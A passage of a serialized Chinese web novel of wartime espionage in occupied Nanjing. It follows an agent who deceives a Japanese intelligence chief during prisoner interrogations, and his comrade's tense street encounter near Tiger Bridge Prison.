她像是鼓足了全部的勇气,才说出这番话,话一说出,她顿时颓然地重重后靠在椅子上。 这句话在林赤听来,多少有点一语双关的味道。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第184章 意外情况 林赤转身之际,正欲脱开曲思秋的手,忽然觉得手心一紧,她的手已紧紧地握住自己,透出七八分恋恋不舍,林赤回头,曲思秋双眸含泪,神情凄楚动人,似乎是在哀求他不要太早离去。 “我会一直陪伴你。”林赤百感交集,止住脚步,另一手按在她的肩上,大拇指微微用力,继续说道:“至少我的心会永远和你在一起,这一点,我对天发誓!” “我听你的!”曲思秋柔声说道,“你要我做什么我就做什么!” “你有这样的态度我很高兴……”林赤轻轻抽出手,在房间里走了几步,又道:“其实我想告诉你的是,尽管我们都有自己的信仰,但是如果这样的信仰需要我们用生命去扞卫,我个人以为,那还是太不值了!” “可是……”曲思秋欲言又止,这句话她极不苟同,可眼下她已不准备和他争辩这个话题,既然这是他的新计划,说不定这里另有隐情,她只能顺着他的意愿前进。 “我不了解你们的党,更不了解你们的信仰,故而我无权对你们的信仰说三道四,可是你想过没有,任何信仰都必须建立在公平公允的基础之上,起码它是经得起推敲的,是放之四海皆准的真理,它是人类满足了基本生存需求以外的一种精神寄托,皮之不存毛将焉附,如果性命都没了,那么再谈所谓的信仰还有何意义?” 林赤开始滔滔不绝起来,他知道外间的黑木正透过单反玻璃密切观察着他们,包括他们的每一句对话他都会细细斟酌,假如自己这么三言两语就转变了思秋的态度,未免太显突兀,狡猾的黑木一定会起疑心,为了不让黑木发现破绽,他必须花点精力和曲思秋好好说道说道。当然,最理想的局面是她假戏真做,和自己雄辩一番。 让林赤失望的是,曲思秋根本无心恋战,完全是一副高挂免战牌的架势,灰溜溜地坐在椅子上一言不发,任凭林赤口若悬河,她就是一声不吭。 林赤不免有些气馁,但却不泄气,他决定激她一下。 “每个人都有追求信仰的自由,可我对你所追求的信仰却表示怀疑,我承认共产党给你们描绘的前景妙不可言,但我个人以为很不现实,几乎可以说不可能实现,退一万步讲,你我有生之年是看不到了!” “不!”曲思秋倏然斗志昂扬起来,颤巍巍从椅子上站起,一字一顿说道:“正因为它很难实现,才需要我们共产党人前赴后继去为之奋斗,哪怕是以付出生命为代价!” 林赤暗暗喝了一声彩,试图调动自己的情绪。 “就怕生命付出去了,却毫无价值!” “只要是为了共产主义的早日到来,任何牺牲都有价值!” “嘿嘿……”林赤冷笑两声,“如果你死了,不消十年,你曲思秋就会被人们彻底遗忘!” “那有何干?我无怨无悔!”曲思秋显得不耐烦起来,“我们能不能不说这个话题?我不明白你和我谈论这些到底想说明什么?劝我背叛自己的信仰?还是想标榜你们的三民主义是至高无上的?如果是这样,你也不会出现在这里,也不会和鬼子蝇营狗苟,和我费这番口水?!” “既然如此,你为何要答应我?” 说完这句话,林赤有些后悔。年轻而毫无战斗经验的曲思秋显然还不知道这间审讯室外还有一道隐蔽的单反玻璃,他们的一举一动正被敌人一览无遗。他的这句问话很容易勾出她的内心真实所想,稍有不慎说不定就会露出马脚,不但目的达不到,还会功亏一篑! 然而他还是小看了曲思秋,从他一进房间后不久,就偷偷和她挤眉弄眼,然后又抓住机会给她用摩尔斯密码发送信息,这一切已足以说明他们已经被监视,某个地方肯定有一双双眼睛在盯着他们,要不然林赤根本不会舍近求远费那么大事儿发一些语焉不详的讯息,让她揣摩好半天都不得要领。 “哈哈……”曲思秋笑了起来,脸上露出鄙夷的神色。 “我这是念及我们曾经的情谊!即使是三岁小孩都知道,你之所以出现在这里,还不是受了鬼子的指使?假如我不为所动,恐怕你在你的主子那里也交不了差吧,我想,就是我死了,你的日子也不会好过到哪里去!你连一个过去的女友都说服不了,还如何让你的主子相信你的能力?” 林赤暗暗松了一口气,她的回答不但精妙,还天衣无缝,正合他意。 “别说那么难听,一口一个主子的!我们都不是圣人,你更不是,我只需要你活着!” “谢谢你也念及我们过去的情谊!但是我所知道的确实有限,别指望我能说出什么惊天的秘密!我只是个未启用的发报员,印象中我根本没有为我党做过什么实质性的事情!” “未启用?”林赤疑窦顿起,“那你为何被抓?” 曲思秋的眼光一直停留在林赤的脸上,想说什么又顾虑重重的样子。 正在这时,房门被“吱嘎”一声推开,黑木匆匆闯进。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“是啊,林先生问得好,你别狡辩了,我问你,被抓那晚,我们是人赃俱获,在那辆轿车中,我们不但发现了电台,就连你们共产党的密码本,也赫然在场,你还敢说你未启用?你说说,那晚在轿车中,你到底在执行什么任务?” 曲思秋看着突然现身的黑木,马上慌张起来,一副茫然失措的样子。半晌,她的目光转向林赤,脸上一副愧疚的神情,似乎是在懊悔自己的口无遮拦。 林赤隐约觉得中间还有他不知到的什么事,找机会私下探知已无可能,如果这个细节他不掌握,或许会影响到他的计划,从曲思秋的神情他已然猜测到这一定是关联到他的…… 短时间内,林赤权衡利弊,决定让她当着黑木的面把细节说出,好歹这样他还掌握主动,总比他两眼一抹黑要强! “黑木将军问你话呢!”林赤对曲思秋说道。 曲思秋紧咬嘴唇,迟疑着…… “你快说吧,将军听着呢!”林赤忐忑地提醒了一句。 曲思秋又看看林赤,还是没有下定决心,她推断不了说出这样的秘密对林赤会有什么后果。 “没关系的,你说吧!”林赤再次鼓励。 “那天晚上……我并不是在执行任务……”曲思秋吞吞吐吐说道,“我根本不是在执行我们组织的任务……” “怎么可能?”黑木打断了她的话,“我们明明侦听到你们电台信号,要不然我们也根本追踪不到你们!” “我……”曲思秋终于鼓起勇气,“我是在试图和重庆方面取得联系,想告诉重庆方面林赤被捕的消息,好通知他们知道并希望重庆方面着手展开营救!” 这样的回答让林赤和黑木均大感意外。 林赤尽管尚还有很多疑问,但一时间内心都被满满的感动充斥着,原来她果真是这个世上最关心自己的一人! 黑木疑问更多,抢先问道:“和重庆联系?难道国共两党已沆瀣一气?你们之间有通用密码?还是在情报战线方面已经做到密码共享?” 林赤并未沉浸其中,赶紧追问道:“你联系上了吗?” “联系没联系上我不知道,我只是发出了该发的讯息。” “这怎么可能?你是如何做到的?”林赤迫不及待再次追问。 黑木索性缄口不语,林赤的疑问也是他的疑问,况且林赤问她要比他更合适,对方也不会有抵触情绪。 曲思秋像是犯了不可饶恕错误的孩童,目光躲闪,根本不敢看林赤的眼睛。 “难道……难道你有我们组织的密码?”林赤摇了摇头,“即便你掌握了我们的密码,那么你又是如何知道我方的电台呼号?” 这句话唤醒了黑木,他像是受了某种启发,脱口道:“从轿车里搜出的那本手抄密码本难不成不是共党组织的?”黑木头转向林赤,“……而是你们重庆方面的?” “手抄密码本?”林赤刚开始一头雾水,冥冥中似乎想到了某一个细节,这也是他在得知曲思秋的共党身份后不时若隐若现的一个念头。 原来曲思秋把他寄存在她处的那本密码手抄复制了一本。 曲思秋无法清楚得知刚刚倒出的细节会给林赤带来什么严重的后果,惶恐中,她偷偷地瞟了林赤一眼,却见他面色除了疑虑,并未惊慌,可以揣度他对她陈述的秘密并不十分计较。 曲思秋稍稍心安,目光迎向林赤。却听到林赤继续问道:“你们共产党都这么有心计吗?连我托你保管的密码本都偷偷复制了?” 一个“偷”字如此刻薄,但所讲的却也是事实,起码曲思秋自个也觉得不是那么光明磊落,连争辩的勇气也无,脸也红了。好在林赤的语气并不在乎她的冒失,这让她有了一份坦然。 “我备份它是怕它弄丢了!” 黑木突然间就联想到林赤在国际安全区应天教会医院出现的那天晚上,所有的一切都有了合理的解释,按目前点点滴滴推断,林赤的那次出现毫无疑问是便民烟卷店行动的参与者,他并不仅仅是医院的一名病人,还和眼前的女孩狼狈为奸,试图瞒过己方的甄别。而最重要的密码本已被他截获,并藏在应天教会医院里,交由曲思秋保存 ,从而被曲思秋偷偷复制了一本。 虽然这本密码本不属于共党组织,但如果是属于当下愈见猖獗、行动近乎肆无忌惮的重庆方面的,那肯定更有价值! “好,我姑且信你,不过,你怎么会有重庆方面的电台呼号?”黑木问。 “我有我的办法……”曲思秋道,“目前南京城天空中的电磁环境还算干净,尤其是在夜里,我只要将截获的电台讯号对照那本密码本,就可以甄别出哪个是重庆的电台,当然这样的工作很繁琐,需要足够的时间和足够的耐心……” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第185章 汇报战果 说完这些,曲思秋开始沉默不语。她害怕自己的没完没了会诱使这位日本情报机关的头头提前审讯自己。 林赤前后总共给她发送了五条讯息,除了让自己信任他之外,其它的尽管意思不是十分明晰,但她大致可以判断出个大概,那就是让她编造一个完美的谎言,既可以糊弄鬼子,又不能出卖同志。从小到大,父母给她灌输的教育就是人要诚实,切切不能撒谎,因而,林赤暗示给她的任务于她而言不啻于一个巨大的难题,这一点林赤似乎预料到了,用最后一条讯息特别强调了对她的信心:I believe your lies(我相信你的撒谎能力)!眼下,她还没有时间来静下心来梳理,根本无法在短时间内构思一个连贯完整而又逻辑严谨且毫无破绽的谎言链,所以唯一的办法就是设法争取一段独处的时间,以便更好地应付即将而至的漫长而严酷的审讯。 这或许也是斗争的需要! 从林赤在黑木面前所表现出的从容,以及遇事(即使是突发事件)后自然流露出的那份自信,曲思秋明白林赤并不像自己想象的已经投靠敌人那么简单,他应该正在实施某一项计划,只是以她的阅历和有限的经验根本猜不透是什么样的计划需要以投靠敌人并出卖情报为代价!难不成林赤也准备编造一个不殃及无辜的谎言就把敌人搪塞过去了? 至于能否如愿把自己塑造成一个“未启用”的共党谍报员,曲思秋还是有信心的。事实上,从入党至今,她确实没有为党组织做太多的工作,掰手指都能数的清,最近的一次居然还和林赤有关系,就是由自己出面委托他把一筒胶卷带至上海,交给上海的党组织,这一件可算是她所做的寥寥无几的数件事中最有意义的、也是最“惊天动地”的一件了!这件任务是池碧疆交付给她的,而和她产生横向联系的同志也仅仅只有池碧疆一人,其他的她一概不知!要说“殃及无辜”,也只能是让他中枪,故而林赤所希望的,也就是她编织的谎言能够把池碧疆择干净!不要把他牵扯进来,撒谎嘛,是个人都会,只能说擅不擅长,不能说会不会! 看曲思秋不说话了,黑木忙道:“曲小姐,你还没有回答我的问题呢……” 曲思秋犹犹豫豫答道:“……什么问题?” “获取重庆方面的电台呼号,你是如何做到的?” “这有何难?将军的情报部门人才济济,更不乏电讯方面的专家,如果将军好奇,不妨询问一下他们……” 林赤听到这儿,上前两步说道:“将军阁下,我也以为这并非难事,只要将截取的电台讯号对照密码,假如言辞达意者,自然可以归类为重庆方面。” 黑木若有所思,似已开窍。正要进一步询问,曲思秋忽然抢先说道:“我累了,我想休息一下!” 黑木把她上下打量一遍,大度笑笑,扭头问林赤:“林先生,你的意见呢?” “我也累了,我现在最想做的事就是大睡一觉,哪怕再也不会醒来!” “那怎么行,林先生还有很多未竟的事,怎么能萌生如此消极想法?” 林赤叹了口气道:“可惜我已是棋盘上的弃子……” “林先生怎么会是弃子?你是一只过了河的卒子,过河的卒子胜大车!我还指望你直捣黄龙呢!” “那也要看将军怎么运用这颗卒子了!如果将军把我定位为一颗卒子,就不能期望有车的速度!” “如此说来,林先生不想做一颗卒子,而是想做一只车?” “不,我更愿意做一匹潜伏的马,在关键时刻可以致命一击。” “哈哈……来人!” 两名日本狱警快速闪进屋内。 “把这位曲小姐带进监房,好饭好菜伺候!” 狱警架着曲思秋,正待离去,林赤突然示意他们停一下,转头对黑木征求道:“将军,能否让我和她再说两句?” 黑木一边点头一边主动退至他们身后。 “思秋,你要正视我刚才的话,我希望你好好活着,不要再抗拒了,只要你如实说出你知道的一切,我想黑木将军是不会为难你的,你还可以好好做你的医生,一切就像没有发生一样,你就把这当做是一场噩梦!” 曲思秋缓缓地低下头。 “如果我们遭此劫难还能够幸存于世,我最大的愿望是在清明时节带你去趟上海,到江湾给我的父母扫扫墓,如若时间宽裕的话,我再带你去马斯南路,那里有一家不错的咖啡馆,咖啡馆叫做相见恨晚,我曾经去过,他们有上好正宗的蓝山咖啡,我到时请你喝一杯。” 说话中,曲思秋抬眼看林赤,眼睛里很快游过一丝诧异。 …… 夜色已深,黑木疲惫地回到了松机关。 停车之际,又一列车队浩浩荡荡驶进院内。 黑木未加思忖便知道是行动处的渡边少佐带队归来。 黑木知道她今晚主导参与了对一家名为平安汽修厂的抓捕行动。 这章没有结束,请点击下一页继续阅读!先是七八辆挎斗摩托陆续在憩庐门前的空地上停定,紧接着两辆轿车跟进。黑木本想先行入内,但当他看到第二辆轿车时不由得收住脚步。 印象中,这辆轿车并不属于松机关,他也从未看到过,他忍不住好奇,站在车前一看究竟。 渡边从第一辆轿车的副驾驶室跳下,借着憩庐门前的灯光,她已经看到了机关长黑木,毫不犹豫跑上前来。 “将军,审讯顺利吗?”渡边远远说道。 黑木没有马上回答她的问题,目光停在第二辆车上,手指了指漫不经心问:“那辆车是怎么回事?” 渡边已走近黑木,一脸喜色,“将军,你不妨猜猜这辆车的来历。” 黑木来到车前,先是看到了车头上“福特”的标志,随口道:“这是辆美国福特车……” “准确说,这是一辆35年水星款福特轿车。”渡边抢着说道。 黑木一愣,旋即似乎想通了一件事,连忙又问:“你是说就是那辆来自上海的嫌疑车?” “是的将军,正是那辆帝国上海总领馆的轿车,前不久在南京城消失了,我们今晚在平安汽修厂发现了它。” “你怎么能确定它就是?” “将军请看……”渡边把黑木带到驾驶室旁,用指关节敲了敲车门上的玻璃,“这扇玻璃分明是刚装上去,不但这块玻璃,前面的挡风玻璃也是新装的……”渡边从身旁的一名士兵手里接过手电,把光束投在其上,“它们的颜色有深浅,只要稍加辨认还是可以看出的……不但如此,您看这里还有弹痕。”渡边又用食指点了点车门上的一处凹陷处。 从凹陷处的形态可以判断确实为弹痕。 “嗯,有道理……今晚的行动如何?”黑木终于切入正题。 “报告将军,成果显着,此次行动共击毙匪谍七人,我们行动处在抵达目的地后迅速实施了包围,对方竟然有枪,就在抓捕时突然开始了还击,后来双方进行了枪战,由于准备充分得当,我方仅死亡一人,受伤两人,其中一人很重,但我想生命均无大碍……” “哦……”这样的代价黑木并不满意,但己方明显占有优势,皱起的眉头很快舒展开来,便装作由衷地赞扬一句,“很好!有活口吗?” “当场击毙六人……一名伤重者在送医过程中不治身亡!”渡边的语气忽然不自信起来,“可也有两人居然意外逃脱!” 黑木明显不悦,“渡边少佐不是说准备充分吗?” “我万万没有料到,他们有同伙接应,就埋伏在巷子里,数量不详,但枪法厉害,我们其中一名死亡的队员就是拜他们所赐!他们汇合后以极快的速度向南逃窜,我们寻觅着农田里的脚印一直追到一条河边,从他们留下的脚印判断敌人数量应该在四到五名,我不了解他们的武器装备,担心中了他们的埋伏,就果断下令放弃了追击!” “四五名敌人?别忘了你们足足有二十人,你们就畏惧不前?作为帝国军人,你们军威何在?” “再说天色太黑,我……将军阁下,我错了!”渡边垂下了脑袋。 黑木脸色稍缓,又道:“逃脱的是什么人?” “看得出他的地位不低,应该是共产党方面的某一重要人物!所有人都不惜一切代价掩护他撤退,这也是我们之所以能够重创共匪的最主要原因……不过有人看到他被我们的人击中了,最后是被人背着逃跑的,这一点从泥地上的脚印深浅可以验证。” “如此甚好!”黑木轻声安慰了一下渡边,“等天色一亮,你安排人沿着他们逃遁的路线再去看看,希望能够有所发现。” “是,将军!” 黑木扭了扭脖子,又做了个扩胸运动,眼睛蓦地盯着憩庐二楼的一扇亮着灯光的窗户说道:“怎么,刘云雄还没睡?” 渡边顺着黑木的目光向上看了看道:“那是您安排给他的办公室,兴许他在。” “那好,渡边小姐不妨随我一道上楼去拜访一下我们的刘将军。” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第186章 再次接头 黑木带着渡边上楼,来到紧靠自己办公室旁的一间房前。 一丝光亮从门框下沿的缝隙里投射到室外的地砖上。 渡边大大咧咧就要推门而入,黑木一把拉住并制止了她的冒失,抬手轻轻敲门,很快里面有人回应,一个中年男人的声音,略带些好奇,试探问道:“请问是哪位?” “黑木瞳来见刘将军。” 脚步声急骤起来,门被人迅速打开,探出一个脑袋,,脸上诚惶诚恐,语气有些激动:“黑木将军深夜造访,也不提前知会一声?” “刘将军这么晚还在忙碌?”黑木跻身进屋。 “黑木将军不是也操劳到现在没睡?” “像我们做情报工作的,事情说大不大,说小不小,杂而繁琐,却又怠慢不得!”黑木褪下手套放进大衣口袋,双手互搓数下,伸出右手去和刘云雄相握,“我刚从老虎桥监狱审讯犯人回来,看到你办公室还亮着灯,料定你还未入睡,不知有没有打扰到刘桑?” “何来打扰一说?我的办公室大门随时对将军敞开,也随时欢迎将军前来指导工作。”刘云雄和黑木寒暄着,把黑木引到一张沙发上入座,接过黑木的话问道:“审讯有进展吗?” “还是有些小成果,不过不容乐观。” “是啊,这项工作确实急不来……想当初我不就是一根筋吗?对将军的谆谆善诱视若罔闻?” “别提了,那就是一场误会!” 黑木目光四处巡视片刻,又问:“给你准备的这间办公室还满意吗?” “挺好的,川上麻衣中佐对我很照顾,所有的需求他一一满足了我。” “理应如此……”黑木的眼睛突然搜索到刘云雄办公桌上的一摞纸张,缓缓站起,边朝着办公桌走去,边漫不经心问道:“刘将军在忙什么呢?”话刚说完,人已走到桌子前,抓起那叠纸显得很随意地看了看。 “还不是筹备南京警卫军的事?松井将军交代的任务我哪敢懈怠?这不,今晚得闲一直在酝酿计划呢!” 黑木翻了翻信笺纸,果见前几张写满了字,内容尽是筹备警卫军的纲要以及他的一些设想。 “刘将军不愧为军人,做起事来雷厉风行!” “刘某羞愧,将军之褒奖实在不敢当……” 翻到第三页,黑木的目光突然停住了,头也没抬说道:“刘桑准备从老虎桥监狱招募人手?” “是啊,这件事我还没来得及向松井将军汇报,既然黑木将军顺便问起,正好给阁下说说本人的想法……”看到黑木抬头聚精会神打量着自己,刘云雄理了理思路,娓娓说道:“待在老虎桥监狱的那段日子,每每到放风的时候,我对监狱的概况做了细致的观察,发现监狱里关得最多的应算是那些参加卫戍南京的国民政府的溃兵,数量接近千名之多,将军试想一下,这些士兵都经过了系统的军事训练,只是被俘后心如死灰,如果我们能够给他们一条活路,从感情上来讲,他们还不死心塌地?再说,组建警卫军迫在眉睫,如果单从南京城的百姓中物色人选,抛开兵源这个难题不说,单训练这块,就无法一蹴而就,更别提短时间内形成足够的战力了!……我知道,你们军方高层最担忧的就是他们的政治素质是否过硬,这也是我考虑最多的问题,但并不是没有折中的办法,假如由您的松机关亲自参与对这些士兵的政审,我想这还是一个不错的权宜之计!” 黑木听到这儿,不住地点头,“此办法可行!但不知方面军最高司令部会有什么指示?” “所以还希望黑木将军多吹吹风,我真心希望这个想法能很快地提上议事日程。” “我们的目的都是一致的,这一点请刘桑放心,我会尽自己的微薄之力!” 两人干唠着,渡边被晾在一旁插不上嘴,这时见谈话中间出现了短暂的空隙,连忙及时向刘云雄问道:“本周鼓楼广场的授勋仪式,刘将军可是接受授勋的主角……” 刘云雄忙不迭声说道:“如此殊荣,愧不能领受!刘某戴罪之身,皇军不追究已是莫大的幸事了……” 黑木也打断他的话道:“刘桑多虑!” 渡边见黑木再无下文,便继续说道:“宪兵司令部要求我们松机关配合负责现场治安,以确保万无一失,我和黑木将军商量过了,希望刘桑能够参与其中,做些力所能及的事情,这些天,我琐事缠身,无法专心此事,为此我特地让川上君带话给您,不知刘桑收到没有?” “我也是下午刚刚得知,获悉后我当即去了一趟鼓楼广场实地勘察了,也产生了几点想法……” “说来听听!”黑木重新回到了沙发上。 “授勋仪式最大的受益者看似是我们这些接受勋爵的人士,其实不然,它是皇军为了提升自身影响力而采用恩威并施的举措之一,最大的效用是传播帝国的亲民政策,同时以儆效尤,警告那些怀有异心的极端人士,故而围观的百姓愈多愈好,这样才能更深远地在南京城的寻常百姓中树立口碑。可这样做必定给现场安保带来压力,授勋仪式当天不可杜绝鱼龙混杂,万一有歹人扰乱会场,场面一发不可收拾,为了防微杜渐,我以为宜采用外紧内松的方略,一是在鼓楼广场四个方向的外围,至少一公里以外,需要布置关卡,对过往百姓进行检查,重点是防范有人携带枪支;其二是在方圆一公里内,安插数量不菲的帝国士兵,乔装成普通百姓,一有异动,马上断然采取措施;第三点嘛,授勋现场除了必要的警力外,我认为还需要在外围的几处制高点安排一定数量的狙击手,一旦有坏人冒出,便可断然将其击毙!” 这章没有结束,请点击下一页继续阅读!渡边不失时机问道:“现场可以埋伏狙击手吗?” “我仔细查看过附近,西南角是帝国使馆,楼高四层,在楼顶完全可以鸟瞰广场全貌,此处最适宜埋伏狙击手。东北角也有一处三层高的建筑,原是国民政府警察厅的官邸,在楼顶埋伏人手自然不成问题……其它几个方向,均有高矮不一的民宅,可以视实际情况因地制宜……总之,西南东北两个方向最为重要,只要狙击力量存在,就可保现场不会出现大的状况!” “嗯,很好!”黑木频频点头,“依我看,工藤君就安排在西南方向的领馆楼上吧,他是我迄今为止所知道的南京城帝国最神勇的狙击手了,至于其它几个方向的布置,渡边和刘桑不妨和宪兵司令部多加商议,从各作战单位选拔人手参与到此事中间来,毕竟这是当前第一要务!”说着黑木忽然想起一事,转头询问渡边道:“工藤夕贵手上的伤痊愈了吗?” “我昨天见到他,顺便问起过,他说已无大碍,打枪应该不成问题!” “那就好,离授勋仪式只剩下数天时间,接下来渡边少佐把手头的工作放一放,和刘桑协同并会同宪兵司令部,把属于我们的本质工作做好,据我所知授勋当天有我军方高阶军官亲自到场,现场安全不可儿戏,如有闪失,我等都难辞其咎!” …… 晌午时分,一辆黄包车出现在老虎桥路上,穿着一件破棉袄的中年车夫拉着它疾行如飞。 黄包车在一家茶馆的门前停下,从车上下来一位二十五六岁的青年人,一身黑布长棉袍,带着一顶灰色棉帽,帽垂严严实实捂着耳朵,怎么看都像是某一家店铺的伙计。 下了车的年轻人使劲在地上跺跺脚,在手上哈了一口热气,从口袋里掏出一张五元的法币递给车夫,却说了一句和他身份极不符合的话:“不用找了。” 通常只要三元的车程对方一下子付给了他五元,车夫当然感激涕零,连声道谢,年轻人有些不耐烦,手一挥就要赶他走,忽然又想起一事,忙说:“如果方便的话,一小时后在附近等我。” “好咧!”车夫愉悦地应道。这年头,有生意已是不易,碰到如此大方的客户更是不易。 年轻人目送车夫走远,扭头看了看眼前的茶馆,目光停留在店招上。 “红尘”二字鲜艳夺目,显然这是一家新开张的茶馆。 年轻人并没有马上进去,而是又把脑袋转了回来,从棉袍口袋里掏出一盒未开封的香烟。 这盒烟是地地道道的地产香烟,紫金山牌,是“思”棺材铺的储老板在他动身前塞给他的。储老板递烟给他的时候,他偷偷地瞄了一眼,发现他的箱底还有十几包。 曲思冬站在街边,慢条斯理地撕开香烟的封口,用大拇指和食指钳出一根,塞到嘴里,再掏出一盒火柴,在风中小心翼翼地点燃香烟,猛地大吸了一口。 依旧是他熟悉的味道,烟雾从他的嘴里悠悠喷出,被凛冽的寒风一下子吹散,他把目光从面前四散的烟气里移开,投向了不远处的一处四层高的建筑群。 以他对这处建筑的了解,他知道,那一定就是老虎桥监狱了。 或许此时此刻,交情已然胜过亲兄弟的林赤和自己的亲妹妹曲思秋就关在那里。 曲思冬眼睛有些迷离,思索着他们会受到何种磨难,一时间心潮起伏。 风口中抽烟多少有些索然无味,曲思冬抽到一半,把手中的半截烟蒂弹出,咬牙切齿自语道:“思秋,林兄弟,我一定会设法救出你们的!” 心念至此,曲思冬义无反顾地向红尘茶馆走去。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第187章 横生事端 茶馆里尚未上客,一名年轻伙计正在擦拭桌子,看得出它才开门营业。 曲思冬扫视了一下茶馆,并未发现掌柜,偌大的茶馆,也只有一名伙计。曲思冬看上一张靠近柜台的八仙桌,刚坐下,伙计就丢下手中的抹布飞快地跑到他的跟前,嬉笑着热情洋溢说道:“客官,这么早就来喝茶?” 曲思冬环视四周,随口问道:“怎么没见到你们的老板?” “老板马上就到,先生要壶什么茶?” “你们有什么茶?” “杭州龙井、苏州碧螺春,当然还有本地产的雨花茶……” “就来一壶雨花吧……有糕点没有?” “糕点和瓜子我们一律赠送的,先生稍坐,我这就给您准备。” “你们老板贵姓?”曲思冬叫住了正要离去的伙计。 伙计听到这儿,顿时警惕起来,把曲思冬上下打量了一眼,问道:“先生找我们老板何事?” “随便问问……”曲思冬换了一种无所谓的的口气。 “哦,那您别急,一浇茶恐怕没喝完,我们老板就回来了。” 伙计走后,曲思冬踱步走到窗前,隔着玻璃向外张望。 街上的行人多了起来,居然出现挑着白菜担子沿街叫卖的本地农民。曲思冬索性走出茶馆,站在街边四处看看,他的目光向远处延伸,忽然就看到极目处驶来一列车队。开路的是两辆挎斗摩托,跟在后面是两辆黑色轿车。车队的行进速度很快,街上的行人听到轰鸣声纷纷往路边闪躲,转眼间车队已离自己十来米的距离,他的目光忽然落在了那位挑着担子叫卖的本地农民身上。 挑担者依然行进在街心,只是关心前方和左右的路况,对身后风驰电挚驶近的车队无知无觉,而车队似乎没有丝毫减速的意思,依旧以一贯的速度疾驶。 危险已悄然逼近。 看样子这位挑担者不但年迈,耳朵也不好使。 如果曲思冬什么也不做,那么这位挑担者必定会遭遇到什么!电光火石间,曲思冬无暇多想,一个箭步上前,一把拎住老者的领口,使尽全力将他的身体一带,老者一个踉跄,被曲思冬生生拽到路边,他肩上的扁担在空中画了个弧线,担子飞出身体,径直向车队最前面的挎斗摩托撞去…… 驾驶挎斗摩托的日本士兵反应还算快,情急之下一个急转弯,摩托车头冲向马路另一侧的路牙,后面的第二辆摩托来不及刹车,撞上了第一辆摩托的屁股,这样才得以停了下来。紧跟着摩托的第一辆和第二辆轿车擦过曲思冬和挑担者的身体,伴着刺耳的刹车声滑行数米后,停在马路中间。 摩托车上跳下五六名荷枪实弹的日军士兵,一边哇哇大叫一边拉动枪栓,纷纷将曲思冬和挑担者围了起来,枪口齐刷刷直指他俩。 曲思冬护着老者,抱着脑袋蹲在原地。 第一二辆轿车车门同时被推开,后面一辆轿车上下来一对中年男女,中年男人穿着一身黑色布衫走在前面,后面跟着一位风姿犹存的四十刚刚出头女人。中年男人用手臂挡开一名日军士兵手中的长枪,略显不满喝道:“把你们的枪都收起来!” 持枪的日军士兵不知是没有听懂他的中国话,还是对他的话不屑一顾,只是稍稍迟疑了一下,又把枪口举了起来。 中年男人并不计较,俯身把买菜的老者扶起。 随后而至的也是一名中年人,来自于第一辆轿车,却身着日军军服,皮肤白皙,佩戴少将衔,他的身后跟着一名年轻女人,也身着日军军服,但军阶只是少佐。 中年军人人还未至,便用日语对持枪的日军士兵大声呵斥。这声呵斥后,士兵们纷纷收起长枪,并四散开来,跑步到更远处警戒去了。 “老人家,没碰到你吧?”穿黑色长衫的中年人贴近他的耳朵问。 老人吓得浑身瑟瑟发抖,头摇得像拨浪鼓一样。 “没事就好,下次可要小心了,今天多亏了这位年轻人,要不然可没这么幸运!” 曲思冬依旧蹲在原地,却听到他对另一人说道:“黑木将军,这样的情况以后还是少发生为好,毕竟我们需要营造一个军民共治的和谐环境!如果我们不顾及当地民众的感受,就极易产生对立的情绪,是不利于我们长治久安的……” “嗯嗯嗯,刘将军所言极是……”那位日本将官用顺溜的中国话回应着,但似乎有敷衍的意味,“我会训导属下,让他们今后收敛并约束自己的行为……”他突然收声,脚步声显然是朝曲思冬而来,旋即听到他好奇说道:“这位年轻人好身手啊!” 曲思冬一动不动。 “年轻人,抬起头来!” 曲思冬照做,抬头。他看到那位日军少将正弯腰端详着他。眼睛里透出一丝阴鸷。 “年轻人,你的,站起来。” 他的语气有些严厉。 曲思冬继续照做,缓缓立身,用双手把棉帽的帽垂扶正,接着把双手拢在衣袖里,卑微地弯着腰,似乎在聆听对方的教诲。 本小章还未完,请点击下一页继续阅读后面精彩内容!“年轻人,你是做什么的?” “太平路上一家棺材铺的伙计。” 年轻女少佐连忙用略显生硬的中国话问道:“太平路上的棺材铺?棺材铺叫什么?” “思。” “好奇怪的名字……那你一大早怎么会出现在这里?”日军女少佐又问。 “附近有一家死了人,是个有钱的主,前不久订了我们店的棺材,还有些尾款,我受老板委托前来收钱……” 女少佐正要进一步询问,从黑衫中年人身后闪出一名中年女人,嘲讽说道:“这年头,满南京城生意最好的恐怕就要算你们的棺材店吧?你们老板是不是每天数钱数得手软?” 一听到她的话,曲思冬的心猛地一震。 这声音分明很熟稔,似乎是在哪里听到过。曲思冬的目光顺着声音觅去,他看到了一张熟悉的脸庞,他的心忽然沉了下去…… 出现在他眼前的,竟然是秦素芬。 曾经在他的地盘待过一晚的秦素芬。 曾经因为她的固执,害死了凌鼎天的秦素芬。 曾经在第二天在鬼子的围剿中又陷入敌手的秦素芬…… 一刹那,曲思冬内心翻滚,他的眼睛里不自觉涌上层层疑云。她怎么会出现在这里?她身旁的那位中年人难道就是她的丈夫刘云雄?难道刘云雄已经投敌叛变? 最急切地念头粗暴地闪现在他的脑海:她会举报自己吗? 狂迷的不安如泰山压顶般压得他喘不过气来。 一时间,他竟无言以对,不知所措!他的神态明显有些慌张。 然而,让曲思冬万万没有想到的,这样尴尬的气氛很快又被秦素芬打破,她的目光平静如水,面对曾经的华帮抗战大队副大队长,她似乎已经不认识了,她马上又换成一种奚落的语气:“怎么,连你个小伙计也良心不安啦?是不是这国难财有些烫手?” 这一番话下来,曲思冬才稍稍放下心来。对方的言谈举止并没有举报自己的意思。 曲思冬懊悔自己的失态,迫切想弥补自己的慌乱。 “……我们老板是因为这场战争发了点小财,可这与我有什么关系?老板给我吃给我住,每月还给我些零花钱,我已经很满足了……他毕竟是我的老板,老板让我做什么我就做什么……难道你想让我乱了纲常?” “吆,还纲常?你这个小伙计还有些文化啊!”秦素芬迫不及待驳斥一句。 一旁的黑衫中年人不想再听到这样无谓的谈话,回头用眼光制止了身旁的女人,拍了拍挑担老者的肩,提醒道:“老人家,下次可要千万小心了,汽车是不长眼睛的!”说完,对那位日本军官说道:“黑木将军,咱们正事要紧,既然那对青年男女答应和皇军合作,可不要夜长梦多!” 日军少将也不屑于为这般小事浪费太多的时间,手一挥,率先朝着自己的座驾而去。 …… 